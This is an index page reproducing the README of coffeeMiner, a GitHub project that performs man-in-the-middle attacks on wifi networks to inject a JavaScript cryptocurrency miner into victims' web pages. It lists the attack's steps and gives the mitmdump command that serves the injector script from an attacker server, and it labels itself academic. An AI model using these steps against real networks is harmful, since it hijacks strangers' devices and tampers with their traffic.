Ecosyste.ms: Awesome
An open API service indexing awesome lists of open source software.
https://github.com/arnaucube/coffeeMiner
collaborative (mitm) cryptocurrency mining pool in wifi networks
https://github.com/arnaucube/coffeeMiner
Last synced: 3 months ago
JSON representation
collaborative (mitm) cryptocurrency mining pool in wifi networks
- Host: GitHub
- URL: https://github.com/arnaucube/coffeeMiner
- Owner: arnaucube
- License: gpl-3.0
- Created: 2017-12-17T23:22:04.000Z (almost 7 years ago)
- Default Branch: master
- Last Pushed: 2019-01-09T19:48:28.000Z (almost 6 years ago)
- Last Synced: 2024-04-24T13:41:35.078Z (7 months ago)
- Language: Python
- Homepage: http://arnaucode.com/blog/coffeeminer-hacking-wifi-cryptocurrency-miner.html
- Size: 2.61 MB
- Stars: 1,066
- Watchers: 112
- Forks: 281
- Open Issues: 22
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
- awesome-network-stuff - **949**星
README
# CoffeeMiner
Collaborative (mitm) cryptocurrency mining pool in wifi networks
**Warning: this project is for academic/research purposes only.**
A blog post about this project can be read here: http://arnaucode.com/blog/coffeeminer-hacking-wifi-cryptocurrency-miner.html
![coffeeMiner](https://raw.githubusercontent.com/arnaucode/coffeeMiner/master/coffeeMiner-logo-small.png "coffeeMiner")
## Concept
- Performs a MITM attack to all selected victims
- Injects a js script in all the HTML pages requested by the victims
- The js script injected contains a cryptocurrency miner
- All the devices victims connected to the Lan network, will be mining for the CoffeeMiner## Use
- install.sh
```
bash install.sh
```
- edit victims.txt with one IP per line
- edit coffeeMiner.py, line 28, with the coffeeMiner httpserver IP:
```py
os.system("~/.local/bin/mitmdump -s 'injector.py http://10.0.2.20:8000/script.js' -T")
```
- execute coffeeMiner.py
```
python3 coffeeMiner.py ipgateway
```![network](https://raw.githubusercontent.com/arnaucode/coffeeMiner/master/coffeeMiner-network-attack.png "network")
A complete instructions for academic scenario can be found in https://github.com/arnaucode/coffeeMiner/blob/master/virtualbox_scenario_instructions.md
![demo](https://raw.githubusercontent.com/arnaucode/coffeeMiner/master/coffeeMiner-demo-cutted.gif "demo")